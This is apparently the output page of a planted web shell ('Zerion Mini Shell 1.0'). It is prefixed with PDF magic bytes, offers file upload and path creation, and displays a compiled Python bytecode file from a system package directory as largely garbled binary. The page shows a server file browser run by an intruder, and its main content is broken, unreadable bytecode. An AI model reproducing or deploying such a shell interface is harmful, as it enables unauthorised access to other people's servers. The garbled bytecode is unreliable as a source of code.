%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/janitor/plugincore/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/janitor/plugincore/__pycache__/plugin.cpython-312.pyc

�

QKf�	��.�eZdgZddlmZGd�d�Zy)�Plugin�)�UnimplementedMethodc�l�eZdZdZed��Zejd��Zd�Zd�Zd�Z	ed��Z
d�Zy	)
rz~Base class for plugins.

    These plugins only do one thing: identify cruft. See the 'get_cruft'
    method for details.
    c�6�t|d�r|jSgS)N�
_condition)�hasattrr��selfs �;/usr/lib/python3/dist-packages/janitor/plugincore/plugin.py�	conditionzPlugin.condition"s��")�$��"=�t���E�2�E�c��||_y�N)r)r
rs  rrzPlugin.condition&s	��#��r
c��||_y)z4Set the Application instance this plugin belongs to.N)�app)r
rs  r�set_applicationzPlugin.set_application*s	����r
c�n�|j�D]}|j��|j�y)zFFind cruft and clean it up.

        This is a helper method.
        N)�	get_cruft�cleanup�post_cleanup�r
�crufts  r�do_cleanup_cruftzPlugin.do_cleanup_cruft.s/��
�^�^�%�	�E��M�M�O�	����r
c�,�t|j��)asFind some cruft in the system.

        This method MUST return an iterator (see 'yield' statement).
        This interface design allows cruft to be collected piecemeal,
        which makes it easier to show progress in the user interface.

        The base class default implementation of this raises an
        exception. Subclasses MUST override this method.
        )rrr	s rrzPlugin.get_cruft7s��"�$�.�.�1�1r
c#�>K�|j�D]}|���y�wr)rrs  rrzPlugin.cruftCs!�����^�^�%�	�E��K�	�s�c��y)z�Do plugin-wide cleanup after the individual cleanup was performed.

        This is useful for stuff that needs to be processed in batches
        (e.g. for performance reasons) like package removal.
        N�r	s rrzPlugin.post_cleanupHs��	
r
N)�__name__�
__module__�__qualname__�__doc__�propertyr�setterrrrrrrr
rrrs_����F��F����$��$���
2�����
r
N)�type�
__metaclass__�__all__�janitor.plugincore.exceptionsrrrr
r�<module>r(s"��"�
��*��>�6
�6
r

Zerion Mini Shell 1.0